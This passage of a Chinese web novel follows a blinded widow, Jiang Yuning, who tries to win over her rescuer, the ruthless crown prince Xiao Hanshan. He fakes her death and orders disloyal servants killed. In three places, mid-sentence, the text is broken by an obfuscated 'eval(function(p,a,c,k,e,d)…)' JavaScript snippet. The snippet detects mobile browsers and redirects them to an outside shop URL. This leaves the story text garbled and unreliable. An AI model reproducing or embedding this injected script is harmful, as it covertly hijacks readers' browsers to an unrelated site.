她缓了会,手一点点往外挪,摸到光滑的边缘,沿着两侧抚摸,能感觉到一节一节凸起的东西,不膈人,是床沿。 稍稍往外挪动身子,继续向外侧探去,碰到什么光滑的东西,手指用力摸索,忽地指尖一空,器皿摔碎的声音骤响。 姜予宁猝不及防吓着,立刻收回手。 不过片刻,脚步声传来,门被打开,婢女走进来,瞧见一地的茶盏碎片,蹙着眉出去拿了簸箕扫帚进来收拾。 听见动静,姜予宁小心翼翼出声:“公子,是你吗?” 惊春一听她问,本不想回答。但见她声音颤抖,明显带着害怕,还是开口:“我家公子将你救回来,寻了大夫为你看了眼睛。” 听到是女声,姜予宁略微失望,又听她说起自己眼睛,抬手一碰,虚虚指着眼上的东西,问:“这是药膏吗?” 婢女清扫干净碎片,应了一声是。 “能揭掉吗?我看不见……” 惊春放下扫帚簸箕,走到她边上,俯身按住她摸药膏的手,语气僵硬:“姑娘最好不要摸,这是治你眼伤的。” 末了,将大夫叮嘱的话转告给她:“大夫说姑娘醒来看不见是正常的,养几月便好。这药膏得敷上大半个时辰,姑娘不要摸。” 姜予宁安了心,放松下来,没有再碰。 听到那女子走远的脚步声,急忙问:“请问救我的那位公子可还在?我想当面谢谢他。” 跟在主子身边久了,见得人多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她没敢动,叫惊春帮她,药膏一揭开,脸上瞬间轻松许多。 心神一动,问惊春:“现在是什么时辰了?” “约莫巳时。” 姜予宁咬着唇,犹豫会,试探道:“我可以出去走走吗?” 惊春笑:“姑娘若是想自己这双眼能恢复,便不要这般急着出去,大夫叮嘱过,叫姑娘不要被日光刺到。” 她没有说可以绑了眼纱出去。 一来姜予宁眼伤到,最好静养。 二来她说是要出去走走,实际上定是要找机会见主子,主子近些日忙得很,她不该去打搅。 “姑娘好好休息,奴婢就在外头,有事唤奴婢就好。” 哐当一声,门关上,姜予宁的心也随着关门声沉了下去。已经过去一夜,不知楼府现在情况如何,以免发生意外,最好是立刻离开宗阳郡。 眼睛瞧不见,若是不能借那位公子离开宗阳郡,待楼母发现她跑了,定要报官寻她。好不容易跑出来,绝对不能被找到。 现下唯一能依靠的,只有那位公子。 姜予宁咬了唇,下定决心,静静等待机会。 不知等了多久,屋外传来马蹄声,她立刻碰上自己摸到的茶盏,瓷器碎裂的声音响起,伴随着女子的惊呼一同传出房间。 外出回来的男人将马交由小厮牵走,正往书房走去,闻声,偏头去看身侧婢女。 惊春慌忙道:“许是那位姑娘碰着哪里了,奴婢去看看。” 房间里却又传出一道呼唤:“公子,是公子来了吗?” 萧寒山挑眉,他一句话没说,眼睛瞎了的人,还能发现是他? 5. 第 5 章 屋内安静了一会,姜予宁没有再听到声音,不由得慌乱。外面的人不是他吗? 摸索着床沿,她边小心翼翼挪动身子,边朝外试探出声:“妾眼睛忽然有些疼,公子可以帮妾叫来大夫瞧一眼吗?” 惊春连忙低声说:“大夫已经帮她看过,须得静养,不得见光。” 萧寒山眸光转向她,“不得见光?” “大夫说可以蒙着眼纱出去,最好是不要见光。”惊春连忙解释清楚,“公子,您去忙吧,奴婢会照顾她。” 男人不再问,直接离开,一眼未看客房里的女子。 惊春见主子径直朝书房而去,并未靠近客房,便立刻去看那女子的情况。 听见脚步声,姜予宁当即做好表情,调整好姿势,瞅准时机,装作不小心摔倒的样子,声音慌乱:“妾,妾不是故意打碎的,妾只是想——” 话语在听见响起的声音时戛然而止。 “姑娘这是怎么了?” 是惊春,不是她想见的人。 姜予宁缓缓躺下,无法视物,周围环境又陌生,叫她无法彻底安心。 双手环于胸前,语气瞬变:“方才,我似乎听见了马蹄声,可是有人来了?” 瘦削的身影倒映惊春眼中,女子脸色苍白得叫人心生怜惜,她撑着身子想起身,却又无力躺下,好不可怜。 这要是初次见到她,便要被她这副可怜样骗了去。 不动声色地扫视地上茶盏碎片,惊春知道她问这话是想说什么,主子并未叫自己瞒着她,也未说过要告诉她,便挑着不轻不重的说了:“方才是来了人。” “可是那位救了我的公子?” “正是我家主子。” 姜予宁心中一喜,放低声音,轻声道:“这次若不是这位公子救了我,我怕是要遭遇不测,可否带我去见见他,我想当面感谢。” 却被拒绝了。 “我家主子在处理要紧的事,现下该是没有时间见你。姑娘好些休息,奴婢就不打扰了。”惊春说完,拿了扫帚簸箕处理好碎片,离开前特地将茶盏放远了些。 门一阖上,姜予宁便知自己是见不了那位公子了。她依着自己先前摸到的放茶盏的位置,摸了个空。 当即冷了脸,心中骂了一句。这般提防我,是怕我做你的主子么! 姜予宁断然是不会放弃,这次未曾找着机会接近他,还有下次,她能把从前只会歇在军营里的楼晏迷得日日想她这温柔乡,也能将这位身份高贵的男人迷倒。 她躺了回去,放平心态,细细感受自己的眼。大夫说了,她这双眼还得数月才能好,她有的是时间,现下要好好休息,养好身子才是最要紧的。 西厢房内,萧寒山盯着暗卫查到的信息,问:“楼晏已经下葬了?” “禀主子,昨日刚下葬。” “刚死了夫婿,就投入旁的男人怀抱。”萧寒山提笔写了两笔,哼笑,“她这张脸倒是有些用处。” “楼府在查她的踪迹吗?” 暗卫禀告道:“楼府尚且还未报官。” 男人撂了笔,将草纸扔到暗卫面前,吩咐道:“造具假尸,扔到马匪窝里一起烧了。” “叫人给楼府送信,就说,”他抬眸望向姜予宁住的房间,想起昨晚女子泣血哀求自己,嘴角勾起讥讽的笑,“楼晏的妻子不慎被马匪劫走,已香消玉殒,叫楼老夫人节哀。” 暗卫领命,立刻去做。 那张草纸上,一道浓黑的叉将“楼晏”二字遮盖,旁边写的正是:“有妻一人,唤作姜予宁,乃是楼晏于青楼赎出,奉为正妻。 成婚当晚,楼晏应召奔赴战场。 一年后,战死。” …… 姜予宁本是想找机会再问问惊春,可每次问,都被她糊弄过去,后来也不再听到马蹄声。又怕出去被日光晒到伤了眼,便一直未曾尝试出去过。 一连两日,都只见着惊春。 这日敷了药,姜予宁感觉自己身子恢复了些,打算在屋子里走走,便没叫惊春,自己撑着床起来,摸着床沿下床,脚尖碰到地面,一下收回去。 人一旦失明,看不见周围,即便是再安全,也会心生惧怕。 姜予宁鼓起勇气探出脚,一点点摸索,碰到鞋后艰难穿上,缓缓站起身。 她不敢步子幅度太大,双手护着身子,往前探,手指忽然打到什么东西,吓得她立刻缩回来,僵着身子不敢动。 好一会才敢去探那是什么。 这次她更加小心,慢慢往前挪,终于碰到自己方才打到的东西,应当是个四方矮柜,放在床边搁点小玩意的。 双手缓慢抚摸,没摸到旁的东西,忽地想起这几日她叫惊春给自己倒茶时,惊春都是隔了一会才端来,想来是把茶盏挪了位置,初来时她是放在矮柜上的。 不过片刻她便想明白,惊春是怕她又摔了茶盏,特地挪远了。 未做多想,她继续往前挪,胆子大了些,步子敢迈开,往前走了几步,冷不丁腹部一疼,立刻往后退了一步。 她捂住腹部,这一撞,险些叫她将吃下的东西吐出来。 手一摸,碰到僵硬的桌沿,使劲打了一下,声音都委屈起来:“连你也欺负我。” 她没有再探索,一步步小心翼翼后退回去,躺下来轻轻揉着被撞到的地方,一股酸涩之意涌上心头。 却知自己不可以哭,硬是忍着不将泪流出来,影响眼睛上的伤口。 她又想楼晏了,以往只要她一受伤,哪怕只是被小小地磕破了皮,他也会紧张,帮她里三层外三层包扎好,还要日日查看她的伤可好了。 哪像现在,只有个婢女照看,那婢女还动不动就冷嘲热讽,她现在看不见,那婢女指不定用什么难看的眼神刺她。 姜予宁缩着身子,轻轻唤了一声:“晏大哥,我好想你……” 她抵着枕头,沉沉睡去。 傍晚时分,一匹马在街道中疾驰,最终停于楼府门前,府兵下马,急急往府里奔去,婢女见状,急忙去请楼母来。 “楼老夫人,您定要做好心理准备。”府兵展开信函,语气沉重。 楼母似乎预料到会发生什么,身子一颤,直直望着府兵。 “您的儿媳,昨晚被马匪劫走,现下已经……遭遇了不测。” 此话一出,楼母难以置信地瞪大眼,脖颈挺直,脑袋后仰,竟是呼吸不过来,晕厥过去。 “夫人!夫人!”婢女赶忙搀扶楼母,府兵哀叹一声,道:“节哀啊。” 不过一日,楼将军的新婚妻子死讯传遍宗阳郡,引起一阵唏嘘。这一家子人,就这么没了两个,楼府只剩下一个年过半百的老太婆,这个家啊,怕是就这么没了。 楼府草草办了少夫人的丧事,此后大门紧闭,鲜少见楼母露面。 这些事姜予宁并不知,楼府办丧那日,她罕见地听见阵阵马蹄声,静静听了片刻,似乎听到有人喊了一声主子,怔楞片刻,立刻反应过来那声主子,唤的应当就是救她的那位公子。 姜予宁立刻打起精神,下了床,摸索着往前走。这两日她无事就起来走走,这间房靠近床榻的地方她已经熟悉,只是超出桌子的范围没去过,不知房门在何处,只能自己摸索。 外头的声音渐渐减弱,她心一急,加快脚步往前,还未走稳几步,脚被绊到,直直摔倒地上,发出声响。 外头的人一听,只对视一眼,并未去看,压低声音说了几句,立刻离开。 房间里的人摔得声音都发不出来,在地上缓了许久,才叫那痛减轻了些。 抬手一摸,竟是被内室门框绊倒了。 这回她是不敢再捶,也没有力气立刻起来,坐在地上揉着磕到的膝盖,肩膀一抽一抽的,一声不吭。 惊春进来时,见着的就是她这副惨兮兮的样,赶忙走过去扶起她,诧异道:“姑娘你这这是要去哪?” 姜予宁借着她的力道站起身,小声说:“我只是想走走,眼睛瞧不见,不小心被绊倒了。” 惊春不信她只是随意走走,方才主子的下属过来汇报情况,她早不动晚不动,偏偏挑在这个时候动,打的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677339|188704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么主意,一看便知。 但也未戳破她,扶着她去躺椅上坐好,语气多少带了几分不耐:“姑娘你若是要去哪,一定要叫奴婢,你自己走,这里摔着那里摔着,届时主子知晓,又要罚奴婢未曾照看好你。” 姜予宁在青楼见过那么多人,是笑是怒,只要听他们说话,便能听出来。惊春虽是克制了语气,她还是听出来了。 当即心里委屈。 她眼睛瞧得见时,谁不说她这双眼睛生得好,美目含春,一眼深陷,多的是人争着抢着要来讨好她,哪里轮得到被一个婢子冷嘲热讽。 没再接惊春的话,她撇开头,闭着眼,一点都不想听到惊春说话。 惊春又为她敷了药,端来苦药,几日过去,连颗蜜饯都没有。 若不是想眼睛好起来,她等惊春走了,就算是扣嗓子眼,也要把药吐出来。 西厢房内,暗卫将京城动静汇报给萧寒山,听完后,男人冷嗤一声,“想趁着我不在京城动手脚?也不掂量掂量自己几斤几两,妄想扳倒我,就算是你老子亲自下旨,也动不了我。” “如今他唯一能倚靠的镇北将军已死,焉能斗得过我。” 萧寒山下了令,“继续监视,我很快就会回京,我倒是很好奇,这群人还能玩出什么花样来。” 暗卫领命退下,片刻后惊春敲了门,等到里头传来一声“进”,她才敢进去。 便见主子正提笔批阅信函,怕打搅到他,便说待会再来汇报。 萧寒山眼也不抬,启唇道:“直接说。” 惊春当即道:“那位姑娘这几日总是念叨着要见您一面,奴婢自作主张回绝了,可今日您有要事要商议,她竟然还发出动静,险些被那几位瞧见。” 她小心瞧了眼并未有所表示的男人,心一横,直接说:“若是她将此处暴露,恐会影响主子大计。奴婢斗胆,请主子处置了她!” 此话说完,惊春跪地叩首,房间内一片寂静。 萧寒山终于抬眸,眼神却已经无所波澜。 “你可知,我带她回来的意图是何?” 惊春心一颤,知道自己怕是做错了,声音颤着,“奴婢不知。” 清脆的掷地声响起,惊春身子震颤,连话都不敢说。 “既然不知,你哪来的胆子,敢要求我做事?” 惊春立刻磕头,连连说自己做了错事,求他宽恕。 “我身边不养越庖代俎之人,你该知道这么做的下场。” 惊春动作一滞,不可置信,想到那晚主子将那女子带回来时,分明丝毫不关心她的死活,自己也是担心那女子会坏了主子的计策,才会斗胆提出建议。 她重重一磕头,“奴婢,知道了。” 惊春步伐艰难地走出去,往姜予宁住的客房投去不甘的目光。早知这样,她就叫别人去伺候,又怎会被主子罚! 萧寒山处理完今日堆积的事物,仰头松缓脖颈时,倏地想起那名被自己带回来多日,却一面也未曾见过的女子。 晾了几日,她想见他的心应该在今日达到顶峰,否则也不会闹出那么大动静来。 思忖片刻,他起身走出去,穿过回廊,步履悠闲地朝客房而去。 靠近客房,特地放轻脚步,几乎无声地走到房门口,刚迈进去,便见女子小心翼翼地摸索身前空间,碰到桌角,轻轻拍了拍,口中念念有词。 “这是桌子,不能撞到,得小心些。” 这些日子姜予宁大部分时间都是自己一人独处,太过冷清,她这人怕孤单,便自己与自己说话。 移开桌角,身子一转,伸出脚,往前试探。 她无法睁开眼,只能用身体去感知周围,每一步都走得十分缓慢。 多日未见日光,肌肤白透得如雪一般,伸出的十指纤细葱白。这几日吃食不错,将她养回来了些,身段妖娆,煞是引人注目。 萧寒山不是君子,自然无法做到不为所动,只是他不屑于夺人妻,更没有碰寡妇这个癖好,只看了两眼,便移开目光,扫过她依旧未好全的眼,眸色幽深。 6. 第 6 章 忽地一声惊呼,定眼一看,女子被床角绊到,一下栽到床上,一动不动。 萧寒山蹙了眉,真是娇弱。 失了兴致,转身要走时,女子的泣声传入耳中,听着,真是委屈极了。 “连你也要欺负我!” 萧寒山哼笑,等待片刻,忽地发出脚步声,果不其然,方才还在咒骂的女子立刻摆出娇弱的样,趁着身子起来,语气拿捏得极妙。 “我方才不小心摔倒了,并未受伤,惊春你不必来看我,我没事的。” 这两日姜予宁日日听着惊春的脚步声,她走起路来声音很轻,该是经常伺候人怕吵到主子,习惯了轻声走路。 可这个人不一样,他的脚步声很重,一脚一脚实实地落在地面,与楼晏很像,一听是个练家子。 这里的婢女绝对不会这般走路,那只有他了! 思及此,姜予宁只祈祷来人并未瞧见自己方才怨怼的模样,极力地将自己柔弱一面展示给对方。 她假装没认出来,继续说:“我不用你看着,你快去做自己的事吧,昨日你不还说你有许多事要忙,抽不出时间来照顾我么?” 吟诗作画这类大家闺秀会做的事,她没有天赋,但挑拨离间添油加醋可是她在青楼学到的拿手好活。 这般说着,她垂下头,身子微微一颤,哪里是叫他走,分明是想留下他! 萧寒山很是有兴致地看着她在自己面前演,一声不吭,一步步走向她,看她是何反应。 等了半晌也未等到来人说话,反而那脚步声越来越近,姜予宁不由得慌乱起来,双手扣着被褥,觉得自己可能是判断错误了。 也许来的不是救自己的那位公子,他早已离开,又或是把她交给了别人。 现在在自己面前的,也许是歹人! 姜予宁面上肉眼可见地慌乱,身子往后缩,失明的双目无法睁开,只有眼睫不安地颤动。 她害怕得快要哭出来了。 脚步声还在靠近,不急不缓,一声一声地踩在她心脏上。 身边没有防身的东西,她只能依靠听觉去判断他的位置,颤着唇开口问:“你,是谁?” 脚步声还在靠近,姜予宁什么都看不见,害怕地往后退,腿弯已经抵上床沿,退无可退。 紧张得咽下唾液,颤声开口:“惊、惊春?” 那人一句话未说,脚步声在她面前消失,巨大的压迫感袭来,姜予宁软了身子,栽倒在床上。 来的人,究竟是那晚救她的公子,还是歹徒? 她不敢说自己是将军夫人,楼晏死了,他的名号都没能镇住马匪,现下她又是偷跑出来的,暴露身份,必然会被威胁。 不能说。 她只能用自己先前在青楼那学来的手段,拿出来给自己争取生存的机会。 她要赌一把,赌来的人不是歹徒。 姜予宁紧张得双手揪紧,身子本能地呈现防御状态,垂下的眼睫不安地颤动,即使她再怎么保持镇定,身体本能的反应将她此刻内心的惧怕展现得一清二楚。 “是惊春吗?怎么不出声?” 分明听出脚步声不是惊春的,却装作未听出来的样子,再配上她那张楚楚动人的脸,确实很有欺骗性。 有小聪明,但不多,不过这样正好,更好控制,为他所用。 萧寒山逗弄她的心思更盛,倏地出声,发出声音的瞬间,很明显看到她身子颤抖,吓得不轻。 “眼睛好些了?” 声音很是陌生,姜予宁下意识往后缩了缩,纤弱的身躯侧躺在床榻上,衣衫贴身,身体曲线玲珑有致,一览无余。 男人视线肆无忌惮地扫视她,眼底却没有一丝欲色,全都是对她能产生多少价值的审视。 救她回来,可不是只来发发善心的。 “是、是救妾的那位公子吗?”姜予宁小心翼翼撑起身子,捕捉到男人声音响起的方位,面朝他,下意识露出脆弱的一面。 这是她刻在骨子里的反应,一旦情况对自己不利,便会用自己的脆弱和美貌迷惑对方,最好是能迷得他神魂颠倒,放松警惕,她便能保住自己。 “是我。” 听到这声回应,姜予宁喜上眉梢,那晚的记忆逐渐复苏,男人的声音与记忆里的逐渐重合,越来越像她听到的那位公子。 “妾多谢公子出手相助。”她说着,摸索着床铺站起来,露出笑,慢慢朝男人的方向走,一步一步,走得很慢,很谨慎。 她看不见男人的位置,就不知该在什么时候停,离他越来越近,眼看就要撞上他。 萧寒山看她的视线随着她的靠近一点点收缩,在她离自己只有不到一圈距离时,忽然出声:“姑娘的眼睛,还看不见么?” 他明知故问,突然响起的声音又吓了她一跳,身子一个趔趄,直直往他怀里撞。 姜予宁是故意的。 初来此地,被一个婢女苛待,不寻到靠山,日子久了,那婢女就不会把她当做一回事,更不会悉心照顾她。现下眼睛还未好,还得养伤,自己又身无分文,必须得牢牢抓住救她的人。 她又无权财,只能用自己作为筹码,获取生存的机会。 天底下男人都是一个样没人不会喜欢美色,这一招,她先前在楼晏身上百试不爽。 只是这一次好像失了效。 人还未撞入他怀中,手腕被攥住,力道大得她疼得轻呼出声。 男人仅仅只是用一只手,就将她倾倒的身子往回推,随即松手,根本没机会碰到他。 姜予宁是真的疼,她手腕本就细,那只手不仅力道没轻没重的,手心还尽是茧子,只这么一握,手腕上出现一道红指印,与她白皙肌肤对比很是明显。 她轻轻捏着自己被弄疼的位置,声音委屈极了,“公子,你弄疼妾了。” 萧寒山扫了眼被自己捏红的手腕,无声嗤笑,她真是娇弱,轻轻一碰就有印子,有那么疼吗? 但他不会说抱歉的话,“姑娘日后走路可要看着些,不要撞到人。” 他话里本是意有所指,谁知面前的女子听了,更加委屈,“妾眼睛受了伤,还未好全,看不见公子,不小心才……” 姜予宁低了头,咬着唇,后面的话没有说出来。 忽地发觉男人没那么好骗,但楼晏已经死了,她又无旁人可以依靠,只能紧紧抓住他。 “妾不是故意的。”若是平常,她这会已经哭了出来,可眼睛还未好,不能哭。 即使不哭,美人泫然欲泣的模样依旧惹人怜爱。 萧寒山自诩见过各有姿色的女子,但没有一人如她这般,媚骨浑然天成。只可惜楼晏死得早,享受不了美人。 “无事。”萧寒山自顾自地挪了椅子坐下,瞥见远远放在桌边的茶盏,想到先前听见的瓷器摔碎声,玩味的表情收回去,面上已经有了不耐。 惊春跑到他面前来告状虽是越矩,但这位楼晏的未亡人确实是有很多小心思,茶盏放得这么远,就是防止她再“不小心”摔了。 女子柔柔细语响起,说着对他的感谢,最后一句正是她先前所说的,会伺候他一辈子。 萧寒山扯了嘴角,冷眼瞧她,胆子真是不小,夫婿刚死,便敢投靠旁的男人。若不是留她有用,他怎会命人去造她已经死的假象,销了她的户籍。 如今她是自由身,但她自己并不知。 他忽然开口问:“我还不知,姑娘叫什么。” 姜予宁心口一跳,捏紧手,顿了一会,才说:“公子唤妾阿宁吧。” 她忽地想到什么,当即转了语气,做出一副凄凉的样子,“妾家中遭了难,爹娘被马匪害死,妾独自一人逃出来,却又被马匪追上,那晚要不是遇见公子你,妾怕是就要,就要……” 忽地一阵清脆声响,姜予宁身子一抖,手捏得更紧。 萧寒山收回敲击桌面的手,看她紧张的样,嘴里没有一句实话。 “阿宁真是受苦了。” 姜予宁以为自己成功骗过去,摇了摇头,说没事,“好在妾十分幸运,遇到了公子。” 萧寒山没有耐心再听她编谎话,站起身,嘴里的话似有其他含义,“阿宁想回去看看吗?你逃了出来,令尊令堂此刻,还有人收尸吗?” 姜予宁慌忙道:“妾逃出来前,爹娘特地嘱咐了,叫妾不要回去,一定要躲开马匪,找个安全的地方好好过下半辈子。” “妾若是回去了,岂非违背爹娘遗愿,是不孝。” 这么大个帽子扣下来,谁也不会再提回去。 姜予宁低了头,脑海里想起楼母逼迫自己为楼晏守寡,还不让自己进食,声音更是添了几分怨怼。 “妾离开之时,爹娘已经遇害,好几日过去,现在回去,怕是已经见不到他们了。” 不管怎么说,都不能将自己的真实身份暴露,只要她咬死了不回去,就不会被发现。以楼母的性子,只会以为她偷跑出去投靠别的男人,更不会说出来,败坏楼家名声。 是以她才敢待在此处。 “爹娘他们,应是希望妾能好好过完下半生,不愿妾再回去吧。”姜予宁说完这些,心口直跳,她不敢多说,每一句都是先前无人时,自己在心里一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜予宁第一反应便是欢喜,但面上仍旧做出诧异的表情,“那惊春呢?” 惊夏边敷药边说:“惊春姐姐去了别处做事,姑娘不用担心。” 姜予宁并不担心惊春,反而希望她永远都不要回来。 新来的婢女动作很轻,对她态度也客客气气的,让姜予宁有了一种自己又回到被楼晏好生照顾的快活日子的感觉。 若是她能牢牢抓住萧公子这棵大树,这样的日子,日后天天都能有。 姜予宁在青楼的那些日子里,想的便是日后定要过上被人伺候的快活日子,所以才会费尽心思攀上楼晏,谁知楼晏竟然活得那么短。 人不为己,天诛地灭。 她闭着眼,在心里对楼晏说:“晏大哥,你不要怪妾,妾也想与你白头偕老,可是你死了,妾总不能下半辈子都要为你守寡。” “妾能报答的,已经报答了,今后,妾不欠你什么了。” …… 那日萧寒山来过后,姜予宁好些日子没再见着他,旁敲侧击惊夏,也未曾得到一丁点他的消息,嘴比惊春还严。 正想着法子怎么见到他人时,忽地听见外头传来惊呼,一道凄厉的声音传进来。 “殿下,太子殿下,奴婢并无害殿下的心思,奴婢绝不敢害殿下啊!” 姜予宁手里的茶盏掉落,她站在原地,听着那人的声音,身子害怕得颤抖起来。 这是自那晚险些被马匪抓到后,第一次那么害怕。 萧公子,是太子? 那他岂不是能知道她的身份? 她还未从恐惧中挣脱出来,屋子里走进来一人,直到那人走到她面前,一直唤她,她才意识到有人来了。 “惊、惊夏?” “姑娘,奴婢来帮您换药。” 外头的婢女还在惨叫,惊夏却一点没听见似的,帮她敷药。 双眼冰凉,好似刀背抵着脖颈,寒意从肌肤上渗透身体各处,更是吓人。 “惊夏,萧公子他,是太子?” 姜予宁说这句话时,声音都在颤。 “是的,我家主子正是当朝太子。” 姜予宁浑身冰凉,她不仅攀到了大树,还攀到了世上第二粗的。 可她真的好怕,好怕自己的身份被查出来。 不行,她得去弄清楚,弄清楚他知不知道自己的真实身份! 7. 第 7 章 可这样的念头在她听到惊夏说的话时,立刻打消了。 “主子不大喜欢有人在外头唤他为太子殿下,姑娘您可不要这么称呼。” 惊夏笑了笑,装作没瞧见她面上的惊慌与额间的汗珠,帮她抹好的药膏,轻声说:“姑娘最近可有哪里不适?” 姜予宁僵硬地摇头。 “那便好,姑娘只要好好养着,不出几月,眼睛便能好全。” 感知到惊夏要走,姜予宁连忙抓住她的手,小声问:“那婢女是犯了什么错……” 惊夏缓缓将她手拂开,动作轻柔,只是周身那股子冷淡疏离,姜予宁还是能感觉到的。 她收回了手,无所适从地藏到身后,听到她说:“那名婢女生出了不该有的心思,主子身边断然是不能留这种人的,留她一命将她赶走,她倒好,不感激,还妄图用往日的恩情要挟主子。” 说到这,惊夏笑了一声,“姑娘你说,这样的婢女,还能留着吗?” 姜予宁不知道,她不知该点头还是摇头,抿了唇,低着头不说话。 惊夏仿佛才发现她状态不对劲似的,语气抱歉,“吓到姑娘了?瞧奴婢这嘴,说了不该说的。” 姜予宁没有接她的话,听得出来她话里有话,表面上是在说那婢女,实际上是在点自己。 脑子里混乱成浆糊,不敢说话。 “姑娘,该喝药了。” 直到听见这句话,她才回过神,摸索着碰到碗,接过来一口一口地喝着。 环境确实能改变一个人,以前她喝药时,必须要有蜜饯,否则宁愿挨着也不愿喝药。而现如今也只是在这待了不到时日,便能做到将药喝了个干干净净,连一声苦都不曾说。 惊夏端走了碗,又说了几句,离开房间。 姜予宁自己摸索着倒了茶,让茶香掩盖口中的苦味。 外头已经听不见婢女的惨叫,应是已经被带走了。 她回到床上,身子瑟缩,不敢去找萧公子。除非是他主动过来,否则以她现在的胆量,是断不可能主动去找的。 这些日子住下来,既没有官府的人来找她,也没有听到她们说起她的身份,想来萧公子应该是信了她的话,没有去查她的身份。 只要她好好待着不露出端倪,萧公子应该不会怀疑她。 以她现在的情况,根本没办法脱离他,一出去极有可能被发现,还不如待在这。 想来想去,最终只想到这几日好好待着,先不去问萧公子,或许时间久了,他便忘了这件事。 也许他心善,知道她遭遇的事,会帮她一把。他会在她危急时救下她,必然也是心存善心的。 姜予宁只能这么安慰自己,想着想着,靠在床栏上昏睡过去。 西厢房内,数人跪于地面,瑟缩身子,一点不敢动。 书页翻动的声音传来,他们竟然吓得身子一抖。 “怎么吓成这样,你们在背后议论时,可不是这般惊慌的。”嘲讽的声音传来,跪着的人里有几个当即头撞地,一句一句说着求饶的话。 萧寒山饶有兴致地看着这群人求饶,等他们一个个声音弱下去,说得累了,才开口:“我不养闲人。” 此话一出,所有人都开始求饶,可没有一个敢上前求他宽恕。 因为他们都知道,这位面上看着矜贵温润的太子,实则手段狠辣,根本不会顾及旁人死活,况且他们还在他眼皮子底下议论起他与三皇子,更没有可能被宽恕。 都知道被发现是死路一条,可还是心存妄想,以为不会被发现。 更别提里头混着别有用心之人,多说,便是错。 但萧寒山只会一视同仁,铲除所有潜在的威胁。 “全都杀了。” 房间内骤然涌入数名暗卫,捂住这群人口鼻,一点声音都没有发出来,拖出去,脖颈一扭,没有一丝血流出来。 “禀主子,已经查清楚了,那名婢女是管事从当地买来的,其真实身份是三皇子安插进来的眼线。” 他嘴里说的婢女,正是方才惨叫的那名。 他们来宗阳郡时,萧寒山只带了几名婢女,其余的婢女与管事都是在宗阳郡买来的,管事好奇心重,暗地里发现萧寒山太子身份,多嘴得往外说,本来无人相信,被那眼线知道,当即收买管事,潜伏进来当做婢女,接近萧寒山。 那婢女被买来后,四处散播令人恐慌的谣言,暗示萧寒山会被夺了太子之位,陛下更青睐三皇子等等诸如此类的话,这群人也是个没脑子的,一说便信,还敢在背后议论。 萧寒山无意搭理这群人,他离开后,定然是要这群人彻底闭嘴,但偏要舞到他面前。 那便只能少过几日快活日子了。 “安插眼线进来,萧济舟,你就这点本事。” 指尖捻起信纸,扔到火盆里,火焰舔舐信纸,将上头的字迹吞噬得一干二净。 “处理干净,回京前,我不想看到有尾巴跟着。” 暗卫领命,直接问:“您带回来的那名女子,是否也要一并除掉?” 萧寒山抬眸望他,暗卫立刻明白他的意思,“属下越矩,请主子责罚。” “你倒是会替我想。”他摆了手,让暗卫滚。 思绪一转,眼前浮现女子苍白的脸,小心翼翼摸索桌角,生怕摔着。 “啧,真是脆弱。” 这样的人带回京城,落入权利争夺的漩涡,怕是活不了几日。 “你若是聪明点,现在就该离开此处,待我带你回京,落到他手里,你怕是永远都逃不掉。” 姜予宁不知萧寒山救自己的真正目的,她现在在想自己以后该怎么办。 救自己的竟然是当今太子,这若是在嫁给楼晏前,她必然会欢喜,可现在她瞒着自己是偷跑出来的,若是被他知道,定然会出事。 虽然离开前做好了充分的准备,但还是会担心。 思来想去,她还是要试探。 若是真能攀上太子,她便可坐享荣华富贵,什么都会有,比在楼府还要快活。 姜予宁浅浅笑了,本就明艳动人的脸,添上这抹浅笑,柔和了她容貌的攻击性,瞧着温婉贤淑。 她知道要怎么最大程度地利用自己的美貌去得到想要的东西,刻意呈现柔弱的一面,待惊夏按时来送汤药与晚饭时,她主动开了口。 “这些日子多亏你与惊春照顾我,若不是你们,我一个人,怕是要遭不少罪。” 惊夏客气笑道:“姑娘哪里的话,我们也不过是照着主子的吩咐做事。” 姜予宁接过药碗小口小口地抿着,许是想快些喝完好让这苦味停留得短暂些,吞咽动作变大,一不小心呛到,手没拿稳,药汁洒了一床。 “咳,咳咳——”她捂着脖颈,咳得苍白的脸泛起薄红,连着脖颈处白皙肌肤上都隐约可见血管。 惊夏拿了帕子递过去时,瞧见的便是这一幕,饶是她在京中见过那么多姿色不输于她的女子,也还是被她这副脆弱得叫人心疼的模样所吸引。 “姑娘哪里不舒服吗?” 她将帕子递到姜予宁伸出的手里,见着她纤细手腕间凸起的筋,不由得心口一跳。 这几日都是她来伺候姜予宁,自然知道她身子有多瘦,可没有现在近距离接触看到的瘦。 不由得感叹,这位被主子救回来的姑娘,确实有迷惑人心的能力,京中那些个花魁与她相比,还是差了些火候。 “我没事,只是喝得急了,呛到了。”姜予宁说着,手摸索被褥,一下碰到阴湿的位置,惊慌道:“被褥被我打湿了,都怪我,这么不小心。” 说着她按到床栏,撑着就要下床,手里还捏着被褥,“是我弄脏的,我去洗干净……” 惊夏拿走她手里的被褥,见她又要拿,立刻拿得远远的。“这里有奴婢解决,姑娘你不用 